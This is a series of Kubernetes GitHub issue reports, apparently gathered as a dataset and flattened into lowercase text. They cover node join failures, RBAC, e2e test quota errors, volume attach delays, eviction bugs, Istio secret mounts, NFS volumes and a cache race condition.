received.\r   kubelet informed of new secure connection details.\r \r run 'kubectl get nodes' on the master to see this machine join.\r \r on master , can not see node2\r   kubectl get node\r name         status    age       version\r k8s-master   ready     17h       v1.7.0\r k8s-node1    ready     40m       v1.7.0\r \r on node1 \r   docker ps\r container id        image                                      command                  created             status              ports               names\r c4921458f31e        6e1cb07df40c                               \ /bin/sh -c 'set -e -\    42 minutes ago      up 42 minutes                           k8s_install-cni_kube-flannel-ds-gt5gm_kube-system_96cc48fb-6776-11e7-b610-00163e024627_0\r 119b3bde7ce7        gcr.io/google_containers/pause-amd64:3.0   \ /pause\                  42 minutes ago      up 42 minutes                           k8s_pod_kube-proxy-jf364_kube-system_96cc4b84-6776-11e7-b610-00163e024627_0\r f98a355399cc        gcr.io/google_containers/pause-amd64:3.0   \ /pause\                  42 minutes ago      up 42 minutes                           k8s_pod_kube-flannel-ds-gt5gm_kube-system_96cc48fb-6776-11e7-b610-00163e024627_0\r \r \r   ps -ef|grep kube\r root     24782     1  1 10:54 ?        00:00:34 /usr/bin/kubelet --kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local --authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt --cadvisor-port=0 --cgroup-driver=systemd\r root     25189 25172  0 10:54 ?        00:00:00 /bin/sh -c set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf; while true; do sleep 3600; done\r \r but on node2\r \r   docker ps --all\r container id        image               command             created             status              ports               names\r \r   ps -ef|grep kube\r root      2836  2412  0 11:19 pts/0    00:00:00 less kubelet.conf\r root      6540  2412  0 11:38 pts/0    00:00:00 grep --color=auto kube\r \r   ls /etc/kube-flannel/cni-conf.json\r ls: cannot access /etc/kube-flannel/cni-conf.json: no such file or directory\r \r and i do not know why? anyone can help?

i tried binding a normal user to read pods only but it still has access to read deployments and everything. the .yml document that i used is this: \r kind: clusterrolebinding\r apiversion: rbac.authorization.k8s.io/v1beta1\r metadata:\r   name: pod-admin\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: pod-reader\r subjects:\r - kind: user\r   name: \ dcnexttest@gmail.com\ \r   namespace: kube-system\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/52134/pull-kubernetes-e2e-gce-etcd3/53203/\r \r    \r i0908 02:11:06.591  creating new network: e2e-53203\r w0908 02:11:54.162  error:  gcloud.compute.networks.create  could not fetch resource:\r w0908 02:11:54.162   - quota 'subnetworks' exceeded.  limit: 150.0\r    \r \r /cc @kubernetes/sig-testing-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r \r when i move a pod with the expression \ nodeselector:\  to another node of the cluster kubernetes the pod waiting 8 minutes in the \ containercreating\  status. \r \r errors:  \r  warning\t\tfailedattachvolume\tmulti-attach error for volume \ pvc-7ec40eec-949e-11e7-b96d-fa163ef575ff\  volume is already exclusively attached to one node and can't be attached to another \r \r  multi-attach error for volume \ pvc-7ec40eec-949e-11e7-b96d-fa163ef575ff\   uniquename: \ kubernetes.io/cinder/ab54e390-cace-466f-8624-bdb270fa49ff\   from node \ knode3\  volume is already exclusively attached to one node and can't be attached to another \r \r \r after 6 minutes the openstack cinder volume is attached to the selected node, and the pod is inicialized. for an application this behavior is very time.\r \r   what you expected to happen  :\r \r it is expected that after the order of the movement of the pod to another node, the cinder volume will be moved to the selected node and pod start quickly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r move a pod with a persistent volume  openstack cinder  to another node of the kubernetes cluster.\r \r   anything else we need to know?  :\r \r log file kubelet: \r  kubelet.txt  https://github.com/kubernetes/kubernetes/files/1333759/kubelet.txt \r \r log file kube-controller-manager: \r  kube-controller-manager.txt  https://github.com/kubernetes/kubernetes/files/1333766/kube-controller-manager.txt \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 269f928217957e7126dc87e6adfa82242bfe5b1e\ , gittreestate:\ clean\ , builddate:\ 2017-07-03t15:31:10z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t08:56:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r openstack mitaka\r \r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r \r - kernel  e.g.  uname -a  :\r \r linux knode2 3.10.0-514.16.1.el7.x86_64  1 smp wed apr 12 15:04:24 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r during both e2e-gce and e2e-kops-aws tests, steps related to script ./hack/ginkgo-e2e.sh failed. the errors seem to be unrelated to the coding change i have made in the kubectl cp command section. in the e2e-kops-aws case, the error has led to multiple  >10  getsockopt: connection refused errors. \r \r pr results for both tests: \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/55759/pull-kubernetes-e2e-gce/7128/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/55759/pull-kubernetes-e2e-kops-aws/60521/\r \r   what you expected to happen  :\r such error should not occur, since they seem to be unrelated to the coding changes i have made\r \r   how to reproduce it  as minimally and precisely as possible   :\r run both tests against a pr\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

failure cluster  be67e035a2dd92d8a448  https://go.k8s.io/triage be67e035a2dd92d8a448        error text:     error creating cluster: error during gcloud container clusters create --quiet --project=k8s-jkns-e2e-gke-gci-ci --zone=us-central1-c --machine-type=n1-standard-2 --image-type=container_vm --num-nodes=3 --network=bootstrap-e2e --cluster-version=1.6.14-beta.0.11+4fd45574758f6f bootstrap-e2e: exit status 1           failure cluster statistics: 1 tests failed,    15 jobs failed,    77 builds failed. failure stats cover 1 day time range '3 jan 2018 03:11 utc' to '4 jan 2018 03:11 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | up | 15 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-1-7-1-6-cvm-kubectl-skew-serial | 24 |  4 jan 2018 03:06 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-1-7-1-6-cvm-kubectl-skew-serial/6202  | | ci-kubernetes-e2e-gke-1-7-1-6-cvm-kubectl-skew | 23 |  4 jan 2018 02:32 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-1-7-1-6-cvm-kubectl-skew/5482  | | ci-kubernetes-e2e-gke-cvm-1-6-gci-1-8-upgrade-master | 5 |  3 jan 2018 23:47 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-6-gci-1-8-upgrade-master/2674  |   current status  https://go.k8s.io/triage be67e035a2dd92d8a448

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r the deployment controller for a  strategy: recreate  deployment with a single replica failed to create a new replicaset when the old replicaset included an evicted pod. typically, the eviction was caused by \ node low on resource: nodefs\ . when we manually deleted the evicted pod, the new rs and accompanying pod were created immediately. we have seen this happen at least a dozen times. here are the audit logs for a recent case:\r \r ! image  https://user-images.githubusercontent.com/4789493/36509901-26d93d38-172f-11e8-9062-084bfc202afa.png \r \r \r   what you expected to happen  :\r \r the deployment controller ignores the evicted pod and creates the updated replicaset/pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r to reproduce, you would need a way to trigger a kubelet-driven eviction on a node that is currently running a single-replica deployment with   strategy: recreate . wait for the pod to be evicted and the new pod to be created, confirm that the evicted pod still exists, and then make a trivial change to the deployment spec. the running pod will be deleted, and no new replicaset/pod will be created. \r \r this issue does not seem to occur for manual evictions  via  post /eviction  ; pods i evict that way disappear from the api server immediately.\r \r   anything else we need to know?  :\r \r possibly related to https://github.com/kubernetes/kubernetes/issues/54525 and/or https://github.com/kubernetes/kubernetes/issues/55630\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.8.5-gke.0\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : container-optimized os\r

\r  \r   what happened  :\r every time a health check is called on the apiserver via the  /healthz  endpoint, an etcd healthcheck is performed. \r \r however, as this just starts at the first server in the  --etcd-servers=  list passed to the apiserver binary all the healthchecks generate read load on a single etcd member.\r \r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/storage/etcd3/preflight/checks.go l61\r \r   what you expected to happen  :\r \r the first server that is checked should either increment  and wrap around  each time or be randomised to spread load around the cluster\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :  kubectl --help  does not list crds.\r but otoh  kubectl get $crd  works\r \r   what you expected to happen  :  kubectl --help  includes a list of crds and eventuall descriptive informations.\r \r   how to reproduce it  as minimally and precisely as possible   :\r call  kubectl --help

is this a bug report or feature request?:  \r  \r \r   what happened:  \r \r we get this error when istio-1.0.1 is installed on kubernetes v1.11.2\r when i try start istio, istio-galley  , istio-pilot , istio-sidecar-injector  can't change status to running.\r and use   kubectl describe ,i got error describe  mountvolume.setup failed for volume \ certs\  : secrets \ istio.istio-galley-service-account\  not found \r \r ----\r this is my error detail:\r \r  \r  start with istio-demo.yaml\r kubectl apply -f install/kubernetes/istio-demo.yaml \r \r  root@i-8cf3f7c9 istio-1.0.1   kubectl get pods -n istio-system\r name                                        ready     status              restarts   age\r grafana-66577949d7-tr84b                    0/1       running             0          52s\r istio-citadel-698745869c-z4zbx              1/1       running             0          52s\r istio-cleanup-secrets-k9xsp                 0/1       completed           0          53s\r istio-egressgateway-6b67fff564-4nc6k        1/1       running             0          52s\r istio-galley-9ff8d9ccd-5rx6d                0/1       containercreating   0          52s\r istio-grafana-post-install-2t2sc            1/1       running             2          53s\r istio-ingressgateway-5d999c8757-qmbft       1/1       running             0          52s\r istio-pilot-7b455cbd97-kfwd6                1/2       error               2          52s\r istio-policy-7cf6fd955f-tnbzw               2/2       running             2          52s\r istio-sidecar-injector-6767dbbc8-c88p8      0/1       containercreating   0          51s\r istio-statsd-prom-bridge-549d687fd9-r7cvz   1/1       running             0          52s\r istio-telemetry-7c458666b-5s8rc             2/2       running             2          52s\r istio-tracing-7596597bd7-8ff2m              0/1       running             0          51s\r prometheus-6ffc56584f-jhqpk                 0/1       running             1          52s\r servicegraph-7857d5795f-xs8xx               0/1       running             1          52s\r \r \r  root@i-8cf3f7c9 istio-1.0.1   kubectl describe pod -n istio-system istio-galley-9ff8d9ccd-5rx6d\r name:           istio-galley-9ff8d9ccd-5rx6d\r namespace:      istio-system\r node:           node1/172.31.205.54\r start time:     wed, 12 sep 2018 16:37:51 +0800\r labels:         istio=galley\r                 pod-template-hash=599485778\r annotations:    scheduler.alpha.kubernetes.io/critical-pod=\r                 sidecar.istio.io/inject=false\r status:         pending\r ip:\r controlled by:  replicaset/istio-galley-9ff8d9ccd\r containers:\r   validator:\r     container id:\r     image:         gcr.io/istio-release/galley:1.0.1\r     image id:\r     ports:         443/tcp, 9093/tcp\r     host ports:    0/tcp, 0/tcp\r     command:\r       /usr/local/bin/galley\r       validator\r       --deployment-namespace=istio-system\r       --cacertfile=/etc/istio/certs/root-cert.pem\r       --tlscertfile=/etc/istio/certs/cert-chain.pem\r       --tlskeyfile=/etc/istio/certs/key.pem\r       --healthcheckinterval=1s\r       --healthcheckfile=/health\r       --webhook-config-file\r       /etc/istio/config/validatingwebhookconfiguration.yaml\r     state:          waiting\r       reason:       containercreating\r     ready:          false\r     restart count:  0\r     requests:\r       cpu:        10m\r     liveness:     exec  /usr/local/bin/galley probe --probe-path=/health --interval=10s  delay=5s timeout=1s period=5s  success=1  failure=3\r     readiness:    exec  /usr/local/bin/galley probe --probe-path=/health --interval=10s  delay=5s timeout=1s period=5s  success=1  failure=3\r     environment:  <none>\r     mounts:\r       /etc/istio/certs from certs  ro \r       /etc/istio/config from config  ro \r       /var/run/secrets/kubernetes.io/serviceaccount from istio-galley-service-account-token-mw6lf  ro \r conditions:\r   type              status\r   initialized       true\r   ready             false\r   containersready   false\r   podscheduled      true\r volumes:\r   certs:\r     type:        secret  a volume populated by a secret \r     secretname:  istio.istio-galley-service-account\r     optional:    false\r   config:\r     type:      configmap  a volume populated by a configmap \r     name:      istio-galley-configuration\r     optional:  false\r   istio-galley-service-account-token-mw6lf:\r     type:        secret  a volume populated by a secret \r     secretname:  istio-galley-service-account-token-mw6lf\r     optional:    false\r qos class:       burstable\r node-selectors:  <none>\r tolerations:     <none>\r events:\r   type     reason       age               from               message\r   ----     ------       ----              ----               -------\r   normal   scheduled    1m                default-scheduler  successfully assigned istio-system/istio-galley-9ff8d9ccd-5rx6d to node1\r   warning  failedmount  13s  x8 over 1m   kubelet, node1     mountvolume.setup failed for volume \ certs\  : secrets \ istio.istio-galley-service-account\  not found\r \r  \r \r   environment  \r \r 1、kubectl version\r  \r  root@i-8cf3f7c9 istio-1.0.1   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:17:28z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  \r 2、kube info\r \r  \r root      74017  2.8  1.5 606912 521376 ?       ssl  15:41   1:42 /usr/bin/kube-apiserver --etcd-servers=http://127.0.0.1:2379 --insecure-bind-address=0.0.0.0 --insecure-port=8080 --secure-port=6443 --service-cluster-ip-range=10.254.0.0/16 --authorization-mode=rbac --admission-control=namespacelifecycle,namespaceexists,limitranger,serviceaccount,resourcequota --logtostderr=false --log-dir=/data/logs/k8s-t/log/kubernets --v=2 --client-ca-file=/var/run/kubernetes/ca.crt --tls-private-key-file=/var/run/kubernetes/server.key --tls-cert-file=/var/run/kubernetes/server.crt --service-account-key-file=/var/run/kubernetes/server.key\r root      74182  2.7  0.5 259468 190608 ?       ssl  15:42   1:38 /usr/bin/kube-controller-manager --master=http://127.0.0.1:8080 --service-account-private-key-file=/var/run/kubernetes/server.key --root-ca-file=/var/run/kubernetes/ca.crt --kubeconfig=/etc/kubernetes/kubeconfig\r root      74307  0.7  0.0  56312 27196 ?        ssl  15:42   0:27 /usr/bin/kube-scheduler --master=https://127.0.0.1:6443 --logtostderr=true --log-dir=/data/logs/k8s-t/log/kubernetes --kubeconfig=/etc/kubernetes/kubeconfig --v=2\r root      74438  0.2  0.0  51916 23896 ?        ssl  15:42   0:07 /usr/bin/kube-proxy --master=https://127.0.0.1:6443 --hostname-override=proxy --logtostderr=true --log-dir=/data/logs/k8sclient/kubernetes --kubeconfig=/etc/kubernetes/kubeconfig --v=4\r root      74631  3.1  0.3 3046644 114356 ?      ssl  15:42   1:54 /usr/bin/kubelet --address=127.0.0.1 --port=10250 --hostname-override=node1 --allow-privileged=false --kubeconfig=/etc/kubernetes/kubelet.kubeconfig --fail-swap-on=false --cluster-dns=10.254.0.199 --cluster-domain=local.domain --logtostderr=true --log-dir=/data/logs/k8sclient/kubernetes --v=4\r root      75064  0.0  0.0  35824 13752 ?        ssl  15:42   0:01 /kube2sky --kube_master_url=http://172.31.205.54:8080 --domain=local.domain\r  \r \r 3、kernel and os info\r  \r  root@i-8cf3f7c9 istio-1.0.1   cat /etc/redhat-release\r red hat enterprise linux server release 7.2  maipo \r  root@i-8cf3f7c9 istio-1.0.1   uname -a\r linux i-8cf3f7c9 3.10.0-327.el7.x86_64  1 smp thu oct 29 17:29:29 edt 2015 x86_64 x86_64 x86_64 gnu/linux\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r used the endpoint /bumpmetric to create fake metrics for prometheus. when i tried to curl /metrics i got the following response:\r bad request. not a post request\r \r   what you expected to happen  :\r i expected to see something like this:\r \\  help awesome.fake.metric info message.\r \\  type awesome.fake.metric gauge\r awesome.fake.metric 0.000000\r \r   how to reproduce it  as minimally and precisely as possible   :\r following the docs, after having it running inside kubernetes:\r    \r curl --data \ metric=awesome.fake.metric&delta=9001&durationsec=600\  http://\\<external-ip\\>:8080/bumpmetric\r curl http://\\<external-ip\\>:8080/metrics\r    \r   anything else we need to know?  :\r looks like 967a7c95d2d42a990dfe721d46b3f874e87f39b0 introduced this by mistake.\r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

it would be helpful if  kubectl get services  can warn the user when a service has no endpionts.  it would be even more useful if 'kubectl get services' prints out why a service has no endpoints. for example, in  8327, it will be helpful if 'kubectl get services' can report the service has no endpoints and points out the reason is that the pod is not ready.  @nikhiljindal @bgrant0607 @lavalamp

i see about 74 mb rss for 1000 services with 5 endpoints each  same 5 .  we should try to drive this down quite a bit.

my environment information     docker info:       root@localhost /   docker version  version:      1.8.1.el7  api version:  1.20  package version:   go version:   go1.5beta2  git commit:   4ae60f0-dirty  built:        tue aug 25 20:12:11 utc 2015  os/arch:      linux/amd64           root@localhost /   docker info containers: 13 images: 67 storage driver: devicemapper  pool name: docker-8:3-70034212-pool  pool blocksize: 65.54 kb  backing filesystem: xfs  data file: /dev/loop0  metadata file: /dev/loop1  data space used: 2.183 gb  data space total: 107.4 gb  data space available: 30.41 gb  metadata space used: 4.01 mb  metadata space total: 2.147 gb  metadata space available: 2.143 gb  udev sync supported: true  deferred removal enabled: false  data loop file: /var/lib/docker/devicemapper/devicemapper/data  metadata loop file: /var/lib/docker/devicemapper/devicemapper/metadata  library version: 1.02.93-rhel7  2015-01-28  execution driver: native-0.2 logging driver: json-file kernel version: 3.10.0-229.4.2.el7.x86_64 operating system: centos linux 7  core  cpus: 4 total memory: 1.784 gib name: localhost.localdomain id: ws5y:rgip:7alw:cd3j:g57d:wpry:asb3:pghf:6s46:m7cs:uez6:lm2n warning: bridge-nf-call-iptables is disabled warning: bridge-nf-call-ip6tables is disabled         kubernetes info:       root@localhost /   kubectl version client version: version.info{major:\ 1\ , minor:\ 0+\ , gitversion:\ v1.0.0-891-gc5bffaaf316651\ , gitcommit:\ c5bffaaf3166513da6259c44a5d1ba8e86bea5ce\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 0+\ , gitversion:\ v1.0.0-891-gc5bffaaf316651\ , gitcommit:\ c5bffaaf3166513da6259c44a5d1ba8e86bea5ce\ , gittreestate:\ clean\ }         os version:       root@localhost /   cat /etc/redhat-release centos linux release 7.1.1503  core          persistentvolume and pod config     persistentvolume:      kind: persistentvolume  apiversion: v1  metadata:    name: pv1    labels:      type: local  spec:    capacity:      storage: 3gi    accessmodes:      - readwriteonce    nfs:      path:\ /var/lib/webapps/\       server: 10.10.10.5          persistentvolumeclaim:      kind: persistentvolumeclaim  apiversion: v1  metadata:    name: webapps-pvc  spec:    accessmodes:      - readwriteonce    resources:      requests:        storage: 1gi         replicationcontroller:      apiversion: v1 kind: replicationcontroller metadata:   name: leavewordrc spec:   replicas: 1   template:     metadata:       labels:         app: leaveword     spec:       containers:       - name: leaveword         image: getlot/tomcat:8u23         ports:         - containerport: 8080           volumemounts:           - name: webdir             mountpath: /var/lib/tomcat8/webapps       volumes:         - name: webdir           persistentvolumeclaim:             claimname: nfs-claim        nfs info     nfs mount point:       root@localhost /   showmount -e 10.10.10.5 export list for 10.10.10.5: /var/lib/webapps           /var/lib/webapps ls:       root@localhost /   ls /var/lib/webapps/ test.html        the results i received     pod volume path:      /var/lib/kubelet/pods/7ce29f78-5b58-11e5-b96c-000c29accf26/volumes/kubernetes.io~nfs/nfs-pv         pod volume path content:       root@localhost /   ls /var/lib/kubelet/pods/7ce29f78-5b58-11e5-b96c-000c29accf26/volumes/kubernetes.io~nfs/nfs-pv  test.html         container volume path content:       root@leavewordrc-ouxhh webapps   ls /var/lib/tomcat8/webapps  root docs examples host-manager manager        the results i expected     container volume path content:       root@leavewordrc-ouxhh webapps   ls /var/lib/tomcat8/webapps  test.html        reproduce the issue     docker error log:       root@localhost docker   journalctl --since=11:15 | grep kubelet  9月 15 11:18:52 localhost.localdomain docker 3848 : time=\ 2015-09-15t11:18:52.609186369+08:00\  level=info msg=\ get /containers/var-lib-kubelet-pods-7ce29f78%5cx2d5b58%5cx2d11e5%5cx2db96c%5cx2d000c29accf26-volumes-kubernetes.io%5cx7enfs-nfs%5cx2dpv.mount/json\   9月 15 11:18:52 localhost.localdomain docker 3848 : time=\ 2015-09-15t11:18:52.609586127+08:00\  level=error msg=\ handler for get /containers/{name:. }/json returned error: no such id: var-lib-kubelet-pods-7ce29f78\\x2d5b58\\x2d11e5\\x2db96c\\x2d000c29accf26-volumes-kubernetes.io\\x7enfs-nfs\\x2dpv.mount\   9月 15 11:18:52 localhost.localdomain docker 3848 : time=\ 2015-09-15t11:18:52.609628353+08:00\  level=error msg=\ http error\  err=\ no such id: var-lib-kubelet-pods-7ce29f78\\x2d5b58\\x2d11e5\\x2db96c\\x2d000c29accf26-volumes-kubernetes.io\\x7enfs-nfs\\x2dpv.mount\  statuscode=404  9月 15 11:19:01 localhost.localdomain kubelet 3980 : i0915 11:19:01.745450 3980 kubelet.go:1338  volume \ 7ce29f78-5b58-11e5-b96c-000c29accf26/nfs-pv\ , still has a container running \ 7ce29f78-5b58-11e5-b96c-000c29accf26\ , skipping teardown  9月 15 11:19:11 localhost.localdomain kubelet 3980 : i0915 11:19:11.789151 3980 kubelet.go:1338  volume \ 7ce29f78-5b58-11e5-b96c-000c29accf26/nfs-pv\ , still has a container running \ 7ce29f78-5b58-11e5-b96c-000c29accf26\ , skipping teardown         config.json of container :       root@localhost 1f13988b5868c3a7a45b857b076d23818ad0dc66b370781f951af23cc91f27a9   cat config.json | python -mjson.tool  {  \ apparmorprofile\ : \ \ ,  \ args\ :    \ -c\ ,  \ $tomcat_dir/bin/startup.sh && tail -f $tomcat_dir/logs/catalina.out\    ,  \ config\ : {  \ attachstderr\ : false,  \ attachstdin\ : false,  \ attachstdout\ : false,  \ cmd\ :    \ /bin/sh\ ,  \ -c\ ,  \ $tomcat_dir/bin/startup.sh && tail -f $tomcat_dir/logs/catalina.out\    ,  \ domainname\ : \ \ ,  \ entrypoint\ : null,  \ env\ :    \ kubernetes_service_host=10.254.0.1\ ,  \ kubernetes_service_port=443\ ,  \ kubernetes_port=tcp://10.254.0.1:443\ ,  \ kubernetes_port_443_tcp=tcp://10.254.0.1:443\ ,  \ kubernetes_port_443_tcp_proto=tcp\ ,  \ kubernetes_port_443_tcp_port=443\ ,  \ kubernetes_port_443_tcp_addr=10.254.0.1\ ,  \ path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\ ,  \ java_package=jdk-8u20-linux-x64.rpm\ ,  \ tomcat_package=apache-tomcat-8.0.23\ ,  \ tomcat_dir=tomcat8\    ,  \ exposedports\ : {  \ 8080/tcp\ : {}  },  \ hostname\ : \ leavewordrc-ouxhh\ ,  \ image\ : \ getlot/tomcat:8u23\ ,  \ labels\ : {  \ io.kubernetes.pod.name\ : \ default/leavewordrc-ouxhh\   },  \ macaddress\ : \ \ ,  \ networkdisabled\ : false,  \ onbuild\ : null,  \ openstdin\ : false,  \ publishservice\ : \ \ ,  \ stdinonce\ : false,  \ tty\ : false,  \ user\ : \ \ ,  \ volumedriver\ : \ \ ,  \ volumes\ : null,  \ workingdir\ : \ /var/lib\   },  \ created\ : \ 2015-09-15t03:18:52.828763266z\ ,  \ driver\ : \ devicemapper\ ,  \ execdriver\ : \ native-0.2\ ,  \ hasbeenstartedbefore\ : false,  \ hostnamepath\ : \ /var/lib/docker/containers/c5480899095418bfbec3d0dad20e479e8531f39e4708e0cfaa9124382a075c67/hostname\ ,  \ hostspath\ : \ /var/lib/docker/containers/c5480899095418bfbec3d0dad20e479e8531f39e4708e0cfaa9124382a075c67/hosts\ ,  \ id\ : \ 1f13988b5868c3a7a45b857b076d23818ad0dc66b370781f951af23cc91f27a9\ ,  \ image\ : \ 62820cd0ea0082a50c4f3a5a061b7b76774279dcc4e683976f4fcc8cc1c9b166\ ,  \ logpath\ : \ /var/lib/docker/containers/1f13988b5868c3a7a45b857b076d23818ad0dc66b370781f951af23cc91f27a9/1f13988b5868c3a7a45b857b076d23818ad0dc66b370781f951af23cc91f27a9-json.log\ ,  \ mountlabel\ : \ system_u:object_r:svirt_sandbox_file_t:s0:c345,c551\ ,  \ mountpoints\ : {  \ /dev/termination-log\ : {  \ destination\ : \ /dev/termination-log\ ,  \ driver\ : \ \ ,  \ name\ : \ \ ,  \ rw\ : true,  \ relabel\ : \ \ ,  \ source\ : \ /var/lib/kubelet/pods/7ce29f78-5b58-11e5-b96c-000c29accf26/containers/leaveword/1f13988b5868c3a7a45b857b076d23818ad0dc66b370781f951af23cc91f27a9\   }  },  \ name\ : \ /k8s_leaveword.d36ff1aa_leavewordrc-ouxhh_default_7ce29f78-5b58-11e5-b96c-000c29accf26_4a4b40b7\ ,  \ networksettings\ : {  \ bridge\ : \ \ ,  \ endpointid\ : \ \ ,  \ gateway\ : \ \ ,  \ globalipv6address\ : \ \ ,  \ globalipv6prefixlen\ : 0,  \ hairpinmode\ : false,  \ ipaddress\ : \ \ ,  \ ipprefixlen\ : 0,  \ ipv6gateway\ : \ \ ,  \ linklocalipv6address\ : \ \ ,  \ linklocalipv6prefixlen\ : 0,  \ macaddress\ : \ \ ,  \ networkid\ : \ \ ,  \ portmapping\ : null,  \ ports\ : null,  \ sandboxkey\ : \ \ ,  \ secondaryipaddresses\ : null,  \ secondaryipv6addresses\ : null  },  \ path\ : \ /bin/sh\ ,  \ processlabel\ : \ system_u:system_r:svirt_lxc_net_t:s0:c345,c551\ ,  \ resolvconfpath\ : \ /var/lib/docker/containers/c5480899095418bfbec3d0dad20e479e8531f39e4708e0cfaa9124382a075c67/resolv.conf\ ,  \ restartcount\ : 0,  \ state\ : {  \ dead\ : false,  \ error\ : \ \ ,  \ exitcode\ : 0,  \ finishedat\ : \ 0001-01-01t00:00:00z\ ,  \ oomkilled\ : false,  \ paused\ : false,  \ pid\ : 30565,  \ restarting\ : false,  \ running\ : true,  \ startedat\ : \ 2015-09-15t03:18:53.743593893z\   },  \ updatedns\ : false,  \ volumes\ : {  \ /dev/termination-log\ : \ /var/lib/kubelet/pods/7ce29f78-5b58-11e5-b96c-000c29accf26/containers/leaveword/1f13988b5868c3a7a45b857b076d23818ad0dc66b370781f951af23cc91f27a9\   },  \ volumesrw\ : {  \ /dev/termination-log\ : true  }  }      why the volumes info is :  \ volumes\ : {  \ /dev/termination-log\ : \ /var/lib/kubelet/pods/7ce29f78-5b58-11e5-b96c-000c29accf26/containers/leaveword/1f13988b5868c3a7a45b857b076d23818ad0dc66b370781f951af23cc91f27a9\

the heading is pretty self explanatory. the stop-watch starts when the test is both lgtm'd _and_ the pr tests have passed. the stop-watch stops when the pr is merged. we can stuff this information in the same place we store test flake rates.  part of:  24753

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \ lruexpirecache\   ---    is this a bug report or feature request?    choose one : bug report    what happened  :   lruexpirecache get  https://github.com/kubernetes/kubernetes/blob/dbfad789e35979083b8d4b35a4cb405c324cc485/pkg/util/cache/lruexpirecache.go l48  requires write lock since  groupcache/lru get  https://github.com/golang/groupcache/blob/a6b377e3400b08991b80d6805d627f347f983866/lru/lru.go l74  needs to manipulate its list to track recently used item. currently it uses read lock so it may introduce race condition.    what you expected to happen  :    how to reproduce it    as minimally and precisely as possible : -  test code which introduces race condition with lruexpirecache get  https://gist.github.com/tksm/17c7a610ed0574c165e6f6edeca351b7 file-lru_race_test-go     anything else do we need to know  :

